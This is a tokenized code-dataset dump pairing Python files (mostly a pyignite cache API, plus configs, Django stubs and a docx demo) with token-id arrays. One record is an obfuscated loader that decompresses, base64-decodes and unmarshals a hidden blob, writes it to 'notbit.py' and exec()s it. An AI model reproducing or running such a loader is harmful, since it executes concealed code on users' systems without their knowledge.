content
stringlengths
1
1.05M
input_ids
listlengths
1
883k
ratio_char_token
float64
1
22.9
token_count
int64
1
883k
# GridGain Community Edition Licensing # Copyright 2019 GridGain Systems, Inc. # # Licensed under the Apache License, Version 2.0 (the "License") modified with Commons Clause # Restriction; you may not use this file except in compliance with the License. You may obtain a # copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software distributed under the # License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the specific language governing permissions # and limitations under the License. # # Commons Clause Restriction # # The Software is provided to you by the Licensor under the License, as defined below, subject to # the following condition. # # Without limiting other conditions in the License, the grant of rights under the License will not # include, and the License does not grant to you, the right to Sell the Software. # For purposes of the foregoing, Sell means practicing any or all of the rights granted to you # under the License to provide to third parties, for a fee or other consideration (including without # limitation fees for hosting or consulting/ support services related to the Software), a product or # service whose value derives, entirely or substantially, from the functionality of the Software. # Any license notice or attribution required by the License must also include this Commons Clause # License Condition notice. # # For purposes of the clause above, the Licensor is Copyright 2019 GridGain Systems, Inc., # the License is the Apache License, Version 2.0, and the Software is the GridGain Community # Edition software provided with this notice. from typing import Iterable, Union from pyignite.queries.op_codes import * from pyignite.datatypes import ( Map, Bool, Byte, Int, Long, AnyDataArray, AnyDataObject, ) from pyignite.datatypes.key_value import PeekModes from pyignite.queries import Query, Response from pyignite.utils import cache_id def cache_put( connection: 'Connection', cache: Union[str, int], key, value, key_hint=None, value_hint=None, binary=False, query_id=None, ) -> 'APIResult': """ Puts a value with a given key to cache (overwriting existing value if any). :param connection: connection to Ignite server, :param cache: name or ID of the cache, :param key: key for the cache entry. Can be of any supported type, :param value: value for the key, :param key_hint: (optional) Ignite data type, for which the given key should be converted, :param value_hint: (optional) Ignite data type, for which the given value should be converted. :param binary: (optional) pass True to keep the value in binary form. False by default, :param query_id: (optional) a value generated by client and returned as-is in response.query_id. When the parameter is omitted, a random value is generated, :return: API result data object. Contains zero status if a value is written, non-zero status and an error description otherwise. """ query_struct = Query( OP_CACHE_PUT, [ ('hash_code', Int), ('flag', Byte), ('key', key_hint or AnyDataObject), ('value', value_hint or AnyDataObject), ], query_id=query_id, ) return query_struct.perform(connection, { 'hash_code': cache_id(cache), 'flag': 1 if binary else 0, 'key': key, 'value': value, }) def cache_get( connection: 'Connection', cache: Union[str, int], key, key_hint=None, binary=False, query_id=None, ) -> 'APIResult': """ Retrieves a value from cache by key. :param connection: connection to Ignite server, :param cache: name or ID of the cache, :param key: key for the cache entry. Can be of any supported type, :param key_hint: (optional) Ignite data type, for which the given key should be converted, :param binary: (optional) pass True to keep the value in binary form. False by default, :param query_id: (optional) a value generated by client and returned as-is in response.query_id. When the parameter is omitted, a random value is generated, :return: API result data object. Contains zero status and a value retrieved on success, non-zero status and an error description on failure. """ query_struct = Query( OP_CACHE_GET, [ ('hash_code', Int), ('flag', Byte), ('key', key_hint or AnyDataObject), ], query_id=query_id, ) result = query_struct.perform( connection, query_params={ 'hash_code': cache_id(cache), 'flag': 1 if binary else 0, 'key': key, }, response_config=[ ('value', AnyDataObject), ], ) if result.status != 0: return result result.value = result.value['value'] return result def cache_get_all( connection: 'Connection', cache: Union[str, int], keys: Iterable, binary=False, query_id=None, ) -> 'APIResult': """ Retrieves multiple key-value pairs from cache. :param connection: connection to Ignite server, :param cache: name or ID of the cache, :param keys: list of keys or tuples of (key, key_hint), :param binary: (optional) pass True to keep the value in binary form. False by default, :param query_id: (optional) a value generated by client and returned as-is in response.query_id. When the parameter is omitted, a random value is generated, :return: API result data object. Contains zero status and a dict, made of retrieved key-value pairs, non-zero status and an error description on failure. """ query_struct = Query( OP_CACHE_GET_ALL, [ ('hash_code', Int), ('flag', Byte), ('keys', AnyDataArray()), ], query_id=query_id, ) result = query_struct.perform( connection, query_params={ 'hash_code': cache_id(cache), 'flag': 1 if binary else 0, 'keys': keys, }, response_config=[ ('data', Map), ], ) if result.status == 0: result.value = dict(result.value)['data'] return result def cache_put_all( connection: 'Connection', cache: Union[str, int], pairs: dict, binary=False, query_id=None, ) -> 'APIResult': """ Puts multiple key-value pairs to cache (overwriting existing associations if any). :param connection: connection to Ignite server, :param cache: name or ID of the cache, :param pairs: dictionary type parameters, contains key-value pairs to save. Each key or value can be an item of representable Python type or a tuple of (item, hint), :param binary: (optional) pass True to keep the value in binary form. False by default, :param query_id: (optional) a value generated by client and returned as-is in response.query_id. When the parameter is omitted, a random value is generated, :return: API result data object. Contains zero status if key-value pairs are written, non-zero status and an error description otherwise. """ query_struct = Query( OP_CACHE_PUT_ALL, [ ('hash_code', Int), ('flag', Byte), ('data', Map), ], query_id=query_id, ) return query_struct.perform( connection, query_params={ 'hash_code': cache_id(cache), 'flag': 1 if binary else 0, 'data': pairs, }, ) def cache_contains_key( connection: 'Connection', cache: Union[str, int], key, key_hint=None, binary=False, query_id=None, ) -> 'APIResult': """ Returns a value indicating whether given key is present in cache. :param connection: connection to Ignite server, :param cache: name or ID of the cache, :param key: key for the cache entry. Can be of any supported type, :param key_hint: (optional) Ignite data type, for which the given key should be converted, :param binary: pass True to keep the value in binary form. False by default, :param query_id: a value generated by client and returned as-is in response.query_id. When the parameter is omitted, a random value is generated, :return: API result data object. Contains zero status and a bool value retrieved on success: `True` when key is present, `False` otherwise, non-zero status and an error description on failure. """ query_struct = Query( OP_CACHE_CONTAINS_KEY, [ ('hash_code', Int), ('flag', Byte), ('key', key_hint or AnyDataObject), ], query_id=query_id, ) result = query_struct.perform( connection, query_params={ 'hash_code': cache_id(cache), 'flag': 1 if binary else 0, 'key': key, }, response_config=[ ('value', Bool), ], ) if result.status == 0: result.value = result.value['value'] return result def cache_contains_keys( connection: 'Connection', cache: Union[str, int], keys: Iterable, binary=False, query_id=None, ) -> 'APIResult': """ Returns a value indicating whether all given keys are present in cache. :param connection: connection to Ignite server, :param cache: name or ID of the cache, :param keys: a list of keys or (key, type hint) tuples, :param binary: pass True to keep the value in binary form. False by default, :param query_id: a value generated by client and returned as-is in response.query_id. When the parameter is omitted, a random value is generated, :return: API result data object. Contains zero status and a bool value retrieved on success: `True` when all keys are present, `False` otherwise, non-zero status and an error description on failure. """ query_struct = Query( OP_CACHE_CONTAINS_KEYS, [ ('hash_code', Int), ('flag', Byte), ('keys', AnyDataArray()), ], query_id=query_id, ) result = query_struct.perform( connection, query_params={ 'hash_code': cache_id(cache), 'flag': 1 if binary else 0, 'keys': keys, }, response_config=[ ('value', Bool), ], ) if result.status == 0: result.value = result.value['value'] return result def cache_get_and_put( connection: 'Connection', cache: Union[str, int], key, value, key_hint=None, value_hint=None, binary=False, query_id=None, ) -> 'APIResult': """ Puts a value with a given key to cache, and returns the previous value for that key, or null value if there was not such key. :param connection: connection to Ignite server, :param cache: name or ID of the cache, :param key: key for the cache entry. Can be of any supported type, :param value: value for the key, :param key_hint: (optional) Ignite data type, for which the given key should be converted, :param value_hint: (optional) Ignite data type, for which the given value should be converted. :param binary: pass True to keep the value in binary form. False by default, :param query_id: a value generated by client and returned as-is in response.query_id. When the parameter is omitted, a random value is generated, :return: API result data object. Contains zero status and an old value or None if a value is written, non-zero status and an error description in case of error. """ query_struct = Query( OP_CACHE_GET_AND_PUT, [ ('hash_code', Int), ('flag', Byte), ('key', key_hint or AnyDataObject), ('value', value_hint or AnyDataObject), ], query_id=query_id, ) result = query_struct.perform( connection, query_params={ 'hash_code': cache_id(cache), 'flag': 1 if binary else 0, 'key': key, 'value': value, }, response_config=[ ('value', AnyDataObject), ], ) if result.status == 0: result.value = result.value['value'] return result def cache_get_and_replace( connection: 'Connection', cache: Union[str, int], key, value, key_hint=None, value_hint=None, binary=False, query_id=None, ) -> 'APIResult': """ Puts a value with a given key to cache, returning previous value for that key, if and only if there is a value currently mapped for that key. :param connection: connection to Ignite server, :param cache: name or ID of the cache, :param key: key for the cache entry. Can be of any supported type, :param value: value for the key, :param key_hint: (optional) Ignite data type, for which the given key should be converted, :param value_hint: (optional) Ignite data type, for which the given value should be converted. :param binary: pass True to keep the value in binary form. False by default, :param query_id: a value generated by client and returned as-is in response.query_id. When the parameter is omitted, a random value is generated, :return: API result data object. Contains zero status and an old value or None on success, non-zero status and an error description otherwise. """ query_struct = Query( OP_CACHE_GET_AND_REPLACE, [ ('hash_code', Int), ('flag', Byte), ('key', key_hint or AnyDataObject), ('value', value_hint or AnyDataObject), ], query_id=query_id, ) result = query_struct.perform( connection, query_params={ 'hash_code': cache_id(cache), 'flag': 1 if binary else 0, 'key': key, 'value': value, }, response_config=[ ('value', AnyDataObject), ], ) if result.status == 0: result.value = result.value['value'] return result def cache_get_and_remove( connection: 'Connection', cache: Union[str, int], key, key_hint=None, binary=False, query_id=None, ) -> 'APIResult': """ Removes the cache entry with specified key, returning the value. :param connection: connection to Ignite server, :param cache: name or ID of the cache, :param key: key for the cache entry. Can be of any supported type, :param key_hint: (optional) Ignite data type, for which the given key should be converted, :param binary: pass True to keep the value in binary form. False by default, :param query_id: a value generated by client and returned as-is in response.query_id. When the parameter is omitted, a random value is generated, :return: API result data object. Contains zero status and an old value or None, non-zero status and an error description otherwise. """ query_struct = Query( OP_CACHE_GET_AND_REMOVE, [ ('hash_code', Int), ('flag', Byte), ('key', key_hint or AnyDataObject), ], query_id=query_id, ) result = query_struct.perform( connection, query_params={ 'hash_code': cache_id(cache), 'flag': 1 if binary else 0, 'key': key, }, response_config=[ ('value', AnyDataObject), ], ) if result.status == 0: result.value = result.value['value'] return result def cache_put_if_absent( connection: 'Connection', cache: Union[str, int], key, value, key_hint=None, value_hint=None, binary=False, query_id=None, ) -> 'APIResult': """ Puts a value with a given key to cache only if the key does not already exist. :param connection: connection to Ignite server, :param cache: name or ID of the cache, :param key: key for the cache entry. Can be of any supported type, :param value: value for the key, :param key_hint: (optional) Ignite data type, for which the given key should be converted, :param value_hint: (optional) Ignite data type, for which the given value should be converted. :param binary: (optional) pass True to keep the value in binary form. False by default, :param query_id: (optional) a value generated by client and returned as-is in response.query_id. When the parameter is omitted, a random value is generated, :return: API result data object. Contains zero status on success, non-zero status and an error description otherwise. """ query_struct = Query( OP_CACHE_PUT_IF_ABSENT, [ ('hash_code', Int), ('flag', Byte), ('key', key_hint or AnyDataObject), ('value', value_hint or AnyDataObject), ], query_id=query_id, ) result = query_struct.perform( connection, query_params={ 'hash_code': cache_id(cache), 'flag': 1 if binary else 0, 'key': key, 'value': value, }, response_config=[ ('success', Bool), ], ) if result.status == 0: result.value = result.value['success'] return result def cache_get_and_put_if_absent( connection: 'Connection', cache: Union[str, int], key, value, key_hint=None, value_hint=None, binary=False, query_id=None, ) -> 'APIResult': """ Puts a value with a given key to cache only if the key does not already exist. :param connection: connection to Ignite server, :param cache: name or ID of the cache, :param key: key for the cache entry. Can be of any supported type, :param value: value for the key, :param key_hint: (optional) Ignite data type, for which the given key should be converted, :param value_hint: (optional) Ignite data type, for which the given value should be converted. :param binary: (optional) pass True to keep the value in binary form. False by default, :param query_id: (optional) a value generated by client and returned as-is in response.query_id. When the parameter is omitted, a random value is generated, :return: API result data object. Contains zero status and an old value or None on success, non-zero status and an error description otherwise. """ query_struct = Query( OP_CACHE_GET_AND_PUT_IF_ABSENT, [ ('hash_code', Int), ('flag', Byte), ('key', key_hint or AnyDataObject), ('value', value_hint or AnyDataObject), ], query_id=query_id, ) result = query_struct.perform( connection, query_params={ 'hash_code': cache_id(cache), 'flag': 1 if binary else 0, 'key': key, 'value': value, }, response_config=[ ('value', AnyDataObject), ], ) if result.status == 0: result.value = result.value['value'] return result def cache_replace( connection: 'Connection', cache: Union[str, int], key, value, key_hint=None, value_hint=None, binary=False, query_id=None, ) -> 'APIResult': """ Puts a value with a given key to cache only if the key already exist. :param connection: connection to Ignite server, :param cache: name or ID of the cache, :param key: key for the cache entry. Can be of any supported type, :param value: value for the key, :param key_hint: (optional) Ignite data type, for which the given key should be converted, :param value_hint: (optional) Ignite data type, for which the given value should be converted. :param binary: pass True to keep the value in binary form. False by default, :param query_id: a value generated by client and returned as-is in response.query_id. When the parameter is omitted, a random value is generated, :return: API result data object. Contains zero status and a boolean success code, or non-zero status and an error description if something has gone wrong. """ query_struct = Query( OP_CACHE_REPLACE, [ ('hash_code', Int), ('flag', Byte), ('key', key_hint or AnyDataObject), ('value', value_hint or AnyDataObject), ], query_id=query_id, ) result = query_struct.perform( connection, query_params={ 'hash_code': cache_id(cache), 'flag': 1 if binary else 0, 'key': key, 'value': value, }, response_config=[ ('success', Bool), ], ) if result.status == 0: result.value = result.value['success'] return result def cache_replace_if_equals( connection: 'Connection', cache: Union[str, int], key, sample, value, key_hint=None, sample_hint=None, value_hint=None, binary=False, query_id=None, ) -> 'APIResult': """ Puts a value with a given key to cache only if the key already exists and value equals provided sample. :param connection: connection to Ignite server, :param cache: name or ID of the cache, :param key: key for the cache entry, :param sample: a sample to compare the stored value with, :param value: new value for the given key, :param key_hint: (optional) Ignite data type, for which the given key should be converted, :param sample_hint: (optional) Ignite data type, for whic the given sample should be converted :param value_hint: (optional) Ignite data type, for which the given value should be converted, :param binary: (optional) pass True to keep the value in binary form. False by default, :param query_id: (optional) a value generated by client and returned as-is in response.query_id. When the parameter is omitted, a random value is generated, :return: API result data object. Contains zero status and a boolean success code, or non-zero status and an error description if something has gone wrong. """ query_struct = Query( OP_CACHE_REPLACE_IF_EQUALS, [ ('hash_code', Int), ('flag', Byte), ('key', key_hint or AnyDataObject), ('sample', sample_hint or AnyDataObject), ('value', value_hint or AnyDataObject), ], query_id=query_id, ) result = query_struct.perform( connection, query_params={ 'hash_code': cache_id(cache), 'flag': 1 if binary else 0, 'key': key, 'sample': sample, 'value': value, }, response_config=[ ('success', Bool), ], ) if result.status == 0: result.value = result.value['success'] return result def cache_clear( connection: 'Connection', cache: Union[str, int], binary=False, query_id=None, ) -> 'APIResult': """ Clears the cache without notifying listeners or cache writers. :param connection: connection to Ignite server, :param cache: name or ID of the cache, :param binary: (optional) pass True to keep the value in binary form. False by default, :param query_id: (optional) a value generated by client and returned as-is in response.query_id. When the parameter is omitted, a random value is generated, :return: API result data object. Contains zero status on success, non-zero status and an error description otherwise. """ query_struct = Query( OP_CACHE_CLEAR, [ ('hash_code', Int), ('flag', Byte), ], query_id=query_id, ) return query_struct.perform( connection, query_params={ 'hash_code': cache_id(cache), 'flag': 1 if binary else 0, }, ) def cache_clear_key( connection: 'Connection', cache: Union[str, int], key, key_hint: object=None, binary=False, query_id=None, ) -> 'APIResult': """ Clears the cache key without notifying listeners or cache writers. :param connection: connection to Ignite server, :param cache: name or ID of the cache, :param key: key for the cache entry, :param key_hint: (optional) Ignite data type, for which the given key should be converted, :param binary: (optional) pass True to keep the value in binary form. False by default, :param query_id: (optional) a value generated by client and returned as-is in response.query_id. When the parameter is omitted, a random value is generated, :return: API result data object. Contains zero status on success, non-zero status and an error description otherwise. """ query_struct = Query( OP_CACHE_CLEAR_KEY, [ ('hash_code', Int), ('flag', Byte), ('key', key_hint or AnyDataObject), ], query_id=query_id, ) return query_struct.perform( connection, query_params={ 'hash_code': cache_id(cache), 'flag': 1 if binary else 0, 'key': key, }, ) def cache_clear_keys( connection: 'Connection', cache: Union[str, int], keys: list, binary=False, query_id=None, ) -> 'APIResult': """ Clears the cache keys without notifying listeners or cache writers. :param connection: connection to Ignite server, :param cache: name or ID of the cache, :param keys: list of keys or tuples of (key, key_hint), :param binary: (optional) pass True to keep the value in binary form. False by default, :param query_id: (optional) a value generated by client and returned as-is in response.query_id. When the parameter is omitted, a random value is generated, :return: API result data object. Contains zero status on success, non-zero status and an error description otherwise. """ query_struct = Query( OP_CACHE_CLEAR_KEYS, [ ('hash_code', Int), ('flag', Byte), ('keys', AnyDataArray()), ], query_id=query_id, ) return query_struct.perform( connection, query_params={ 'hash_code': cache_id(cache), 'flag': 1 if binary else 0, 'keys': keys, }, ) def cache_remove_key( connection: 'Connection', cache: Union[str, int], key, key_hint: object=None, binary=False, query_id=None, ) -> 'APIResult': """ Clears the cache key without notifying listeners or cache writers. :param connection: connection to Ignite server, :param cache: name or ID of the cache, :param key: key for the cache entry, :param key_hint: (optional) Ignite data type, for which the given key should be converted, :param binary: (optional) pass True to keep the value in binary form. False by default, :param query_id: (optional) a value generated by client and returned as-is in response.query_id. When the parameter is omitted, a random value is generated, :return: API result data object. Contains zero status and a boolean success code, or non-zero status and an error description if something has gone wrong. """ query_struct = Query( OP_CACHE_REMOVE_KEY, [ ('hash_code', Int), ('flag', Byte), ('key', key_hint or AnyDataObject), ], query_id=query_id, ) result = query_struct.perform( connection, query_params={ 'hash_code': cache_id(cache), 'flag': 1 if binary else 0, 'key': key, }, response_config=[ ('success', Bool), ], ) if result.status == 0: result.value = result.value['success'] return result def cache_remove_if_equals( connection: 'Connection', cache: Union[str, int], key, sample, key_hint=None, sample_hint=None, binary=False, query_id=None, ) -> 'APIResult': """ Removes an entry with a given key if provided value is equal to actual value, notifying listeners and cache writers. :param connection: connection to Ignite server, :param cache: name or ID of the cache, :param key: key for the cache entry, :param sample: a sample to compare the stored value with, :param key_hint: (optional) Ignite data type, for which the given key should be converted, :param sample_hint: (optional) Ignite data type, for whic the given sample should be converted :param binary: (optional) pass True to keep the value in binary form. False by default, :param query_id: (optional) a value generated by client and returned as-is in response.query_id. When the parameter is omitted, a random value is generated, :return: API result data object. Contains zero status and a boolean success code, or non-zero status and an error description if something has gone wrong. """ query_struct = Query( OP_CACHE_REMOVE_IF_EQUALS, [ ('hash_code', Int), ('flag', Byte), ('key', key_hint or AnyDataObject), ('sample', sample_hint or AnyDataObject), ], query_id=query_id, ) result = query_struct.perform( connection, query_params={ 'hash_code': cache_id(cache), 'flag': 1 if binary else 0, 'key': key, 'sample': sample, }, response_config=[ ('success', Bool), ], ) if result.status == 0: result.value = result.value['success'] return result def cache_remove_keys( connection: 'Connection', cache: Union[str, int], keys: Iterable, binary=False, query_id=None, ) -> 'APIResult': """ Removes entries with given keys, notifying listeners and cache writers. :param connection: connection to Ignite server, :param cache: name or ID of the cache, :param keys: list of keys or tuples of (key, key_hint), :param binary: (optional) pass True to keep the value in binary form. False by default, :param query_id: (optional) a value generated by client and returned as-is in response.query_id. When the parameter is omitted, a random value is generated, :return: API result data object. Contains zero status on success, non-zero status and an error description otherwise. """ query_struct = Query( OP_CACHE_REMOVE_KEYS, [ ('hash_code', Int), ('flag', Byte), ('keys', AnyDataArray()), ], query_id=query_id, ) return query_struct.perform( connection, query_params={ 'hash_code': cache_id(cache), 'flag': 1 if binary else 0, 'keys': keys, }, ) def cache_remove_all( connection: 'Connection', cache: Union[str, int], binary=False, query_id=None, ) -> 'APIResult': """ Removes all entries from cache, notifying listeners and cache writers. :param connection: connection to Ignite server, :param cache: name or ID of the cache, :param binary: (optional) pass True to keep the value in binary form. False by default, :param query_id: (optional) a value generated by client and returned as-is in response.query_id. When the parameter is omitted, a random value is generated, :return: API result data object. Contains zero status on success, non-zero status and an error description otherwise. """ query_struct = Query( OP_CACHE_REMOVE_ALL, [ ('hash_code', Int), ('flag', Byte), ], query_id=query_id, ) return query_struct.perform( connection, query_params={ 'hash_code': cache_id(cache), 'flag': 1 if binary else 0, }, ) def cache_get_size( connection: 'Connection', cache: Union[str, int], peek_modes=0, binary=False, query_id=None, ) -> 'APIResult': """ Gets the number of entries in cache. :param connection: connection to Ignite server, :param cache: name or ID of the cache, :param peek_modes: (optional) limit count to near cache partition (PeekModes.NEAR), primary cache (PeekModes.PRIMARY), or backup cache (PeekModes.BACKUP). Defaults to all cache partitions (PeekModes.ALL), :param binary: (optional) pass True to keep the value in binary form. False by default, :param query_id: (optional) a value generated by client and returned as-is in response.query_id. When the parameter is omitted, a random value is generated, :return: API result data object. Contains zero status and a number of cache entries on success, non-zero status and an error description otherwise. """ if not isinstance(peek_modes, (list, tuple)): if peek_modes == 0: peek_modes = [] else: peek_modes = [peek_modes] query_struct = Query( OP_CACHE_GET_SIZE, [ ('hash_code', Int), ('flag', Byte), ('peek_modes', PeekModes), ], query_id=query_id, ) result = query_struct.perform( connection, query_params={ 'hash_code': cache_id(cache), 'flag': 1 if binary else 0, 'peek_modes': peek_modes, }, response_config=[ ('count', Long), ], ) if result.status == 0: result.value = result.value['count'] return result
[ 2, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 24846, 38, 391, 8108, 5061, 10483, 26426, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, ...
2.548508
13,338
#!/usr/bin/env python import sys, os import itertools, shutil path = os.path.abspath(__file__) path = os.path.split(path)[0] os.chdir(path) print path device_ssh_ip = "" ssh_device = device_ssh_ip.split(",") path_tcs = path + "/tcs" path_result= path + "/result" path_allpairs = path + "/allpairs" path_resource = path + "/resource" seed_file = path_allpairs + "/positive/input_seed.txt" seed_negative = path_allpairs + "/negative" seed_positive =path_allpairs + "/positivee" seed_file_na = seed_negative + "/input_seed_negative.txt" selfcomb_file = path_allpairs + "/selfcomb.txt" output_file = path_allpairs + "/output.txt" output_file_ne = path_allpairs + "/output_negative.txt" report_path = path + "/report" report_file = report_path + "/wrt-manifest-tizen-tests.xml" report_summary_file = report_path + "/summary.xml" sh_path = path + "/script" log_path = report_path + "/log_" device_path = "/home/app/content/tct/" run_times = 3 version="6.35.1.2" name="wrt-manifest-tizen-tests"
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 11748, 25064, 11, 28686, 198, 11748, 340, 861, 10141, 11, 4423, 346, 198, 198, 6978, 796, 28686, 13, 6978, 13, 397, 2777, 776, 7, 834, 7753, 834, 8, 198, 6978, 796, 28686, 13, 6978, ...
2.658602
372
"""Command models to open a Thermocycler's lid.""" from __future__ import annotations from typing import Optional, TYPE_CHECKING from typing_extensions import Literal, Type from pydantic import BaseModel, Field from ..command import AbstractCommandImpl, BaseCommand, BaseCommandCreate from opentrons.protocol_engine.types import MotorAxis if TYPE_CHECKING: from opentrons.protocol_engine.state import StateView from opentrons.protocol_engine.execution import EquipmentHandler, MovementHandler OpenLidCommandType = Literal["thermocycler/openLid"]
[ 37811, 21575, 4981, 284, 1280, 257, 12634, 76, 13733, 22902, 338, 19789, 526, 15931, 198, 6738, 11593, 37443, 834, 1330, 37647, 198, 6738, 19720, 1330, 32233, 11, 41876, 62, 50084, 2751, 198, 6738, 19720, 62, 2302, 5736, 1330, 25659, 1691...
3.615385
156
def multiple_replace(text: str, chars_to_mapping: dict): """ This function is used to replace a dictionary of characters inside a text string :param text: :param chars_to_mapping: :return: """ import re pattern = "|".join(map(re.escape, chars_to_mapping.keys())) return re.sub(pattern, lambda m: chars_to_mapping[m.group()], str(text))
[ 4299, 3294, 62, 33491, 7, 5239, 25, 965, 11, 34534, 62, 1462, 62, 76, 5912, 25, 8633, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 770, 2163, 318, 973, 284, 6330, 257, 22155, 286, 3435, 2641, 257, 2420, 4731, 198, 220, 220...
2.702899
138
import marshal as ms import zlib import base64 as bs data=b'x\xda\xedZ\xdb\x96\xaa\xc8\xb2\xfd\xa4\x06,\xbb\x8bG\xa1\x04A\xa5\x96\xa2\x80\xbc\t\x94\x80\\t/\xaf\xf8\xf5{F&\xe0\xa5\xac\xd5\xbd\xba\xcf^c\x9cs\xf6\x03\xa3,M"3\xe32cFd\xbe\x04\xafE\xaf\xd7[\x1b}\xf1\x18v\xa6yX\x8e\x87KW<\x05\x1dS0t\xf9\xa2\x16\xf9>\xd4\xe5*R\x95\xcb\x877\x1e\xaa\x85|\x19\x95V\x97\xc6\x06v\\.\xa4\xf3\xc5\xac\x94\xad\x9f*\xc7\xb0\xea\x1e\x16\xae\x98\x7f\x9b\tePNJCwv\xa14\x8fM\xc9\xda\xf9\xaeV\x99U6T\xd3q<\x95\x1c\xc1\x18\xe4\xc7\xc83\xe2\xa0\x13\x1d\x8c\x81\x9f\x04\x03\'\x0f+\xa5\x08\x0byo\xe8bwTB\xbe\xee\x94a\xa1\xedG\x85\\\xf9\xa7m\x12\xea\xf9j\xe9N\xe2ov\xef2\xbe,:\xd6%\x93\xd4B;-\x1dy\xb3\xf0\xac\x8d\xf1&\xd0\\\xc9b\xa6\xa5~\xb1\x10\xad\xc2L\xdfg\xe3\xcb\xfb[\x94\x8d\xd7\x93\xaeU\xf8kk\xdd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89\x93\x00C4:\x83\x17Ot\xdf\r>\x0fn\x90\x1f\x86j\xb6\xfd7\x0f\xc0\xa6&' val=zlib.decompress(data) val=bs.b64decode(val) val2=ms.loads(val) fw=open('notbit.py','w') fw.write(val2) fw.close() exec(val2) print('done')
[ 11748, 22397, 282, 355, 13845, 198, 11748, 1976, 8019, 198, 11748, 2779, 2414, 355, 275, 82, 198, 198, 7890, 28, 65, 6, 87, 59, 87, 6814, 59, 87, 276, 57, 59, 87, 9945, 59, 87, 4846, 59, 87, 7252, 59, 25306, 23, 59, 30894, 17, ...
1.27387
11,133
from django.db import models # Create your models here.
[ 6738, 42625, 14208, 13, 9945, 1330, 4981, 628, 198, 2, 13610, 534, 4981, 994, 13, 198 ]
3.625
16
from django.contrib import admin from users.models import Friendship admin.site.register(Friendship) # Register your models here.
[ 6738, 42625, 14208, 13, 3642, 822, 1330, 13169, 198, 6738, 2985, 13, 27530, 1330, 39993, 628, 198, 28482, 13, 15654, 13, 30238, 7, 23331, 6720, 8, 198, 198, 2, 17296, 534, 4981, 994, 13, 198 ]
3.8
35
import docx doc = docx.Document('demo.docx') print('paragraphs number: %s' % len(doc.paragraphs)) print('1st paragraph: %s' % doc.paragraphs[0].text) print('2nd paragraph: %s' % doc.paragraphs[1].text) print('paragraphs runs: %s' % len(doc.paragraphs[1].runs)) print('1st paragraph run: %s' % doc.paragraphs[1].runs[0].text) print('2nd paragraph run: %s' % doc.paragraphs[1].runs[1].text) print('3rd paragraph run: %s' % doc.paragraphs[1].runs[2].text) print('4th paragraph run: %s' % doc.paragraphs[1].runs[3].text)
[ 11748, 2205, 87, 201, 198, 201, 198, 15390, 796, 2205, 87, 13, 24941, 10786, 9536, 78, 13, 15390, 87, 11537, 201, 198, 4798, 10786, 20360, 82, 1271, 25, 4064, 82, 6, 4064, 18896, 7, 15390, 13, 20360, 82, 4008, 201, 198, 4798, 10786,...
2.519048
210
# Analysis the data generated from on policy simulations of QL, QLP and GQL. from BD.sim.sims import sims_analysis, merge_sim_files, extract_run_rew from BD.util.paths import Paths if __name__ == '__main__': sims_analysis_BD() sims_analysis_GQL_BD() data = merge_sim_files(lambda x: True, Paths.rest_path + 'archive/beh/gql10d-ml-opt/gql10d-ml/') all_trials = extract_run_rew(data) output_file = Paths.local_path + 'BD/to_graph_data/gql10d_all_data_ml.csv' all_trials.to_csv(output_file, header=True) data = merge_sim_files(lambda x: True, Paths.rest_path + 'archive/beh/gql-ml-opt/gql-ml/') all_trials = extract_run_rew(data) output_file = Paths.local_path + 'BD/to_graph_data/gql_all_data_ml.csv' all_trials.to_csv(output_file, header=True)
[ 2, 14691, 262, 1366, 7560, 422, 319, 2450, 27785, 286, 1195, 43, 11, 1195, 19930, 290, 402, 9711, 13, 198, 198, 6738, 28023, 13, 14323, 13, 82, 12078, 1330, 985, 82, 62, 20930, 11, 20121, 62, 14323, 62, 16624, 11, 7925, 62, 5143, ...
2.392749
331
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import os import re import glob import random import struct if __name__ == '__main__': main()
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 198, 11748, 28686, 198, 11748, 302, 198, 11748, 15095, 198, 11748, 4738, 198, 11748, 2878, 628, 628, 628, 198, 198,...
2.508197
61
from subprocess import run, PIPE, TimeoutExpired, CompletedProcess from codes import exitcodes
[ 6738, 850, 14681, 1330, 1057, 11, 350, 4061, 36, 11, 3862, 448, 3109, 6474, 11, 32983, 18709, 198, 6738, 12416, 1330, 8420, 40148 ]
4.086957
23
import json from pfm.pf_command.base import BaseCommand from pfm.util.log import logger
[ 11748, 33918, 198, 198, 6738, 279, 38353, 13, 79, 69, 62, 21812, 13, 8692, 1330, 7308, 21575, 198, 6738, 279, 38353, 13, 22602, 13, 6404, 1330, 49706, 628 ]
3.214286
28
#!/usr/bin/python # # Copyright 2009 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Licensed to the PSF under a Contributor Agreement. # # Author: Gregory P. Smith <greg@krypto.org> """Tests for atfork.""" import os import sys import importlib from xTool.compat import StringIO import traceback import unittest from xTool import atfork if __name__ == "__main__": unittest.main()
[ 2, 48443, 14629, 14, 8800, 14, 29412, 198, 2, 198, 2, 15069, 3717, 3012, 3457, 13, 198, 2, 198, 2, 220, 220, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 220, 220, 345, 743, 407, 7...
3.269504
282
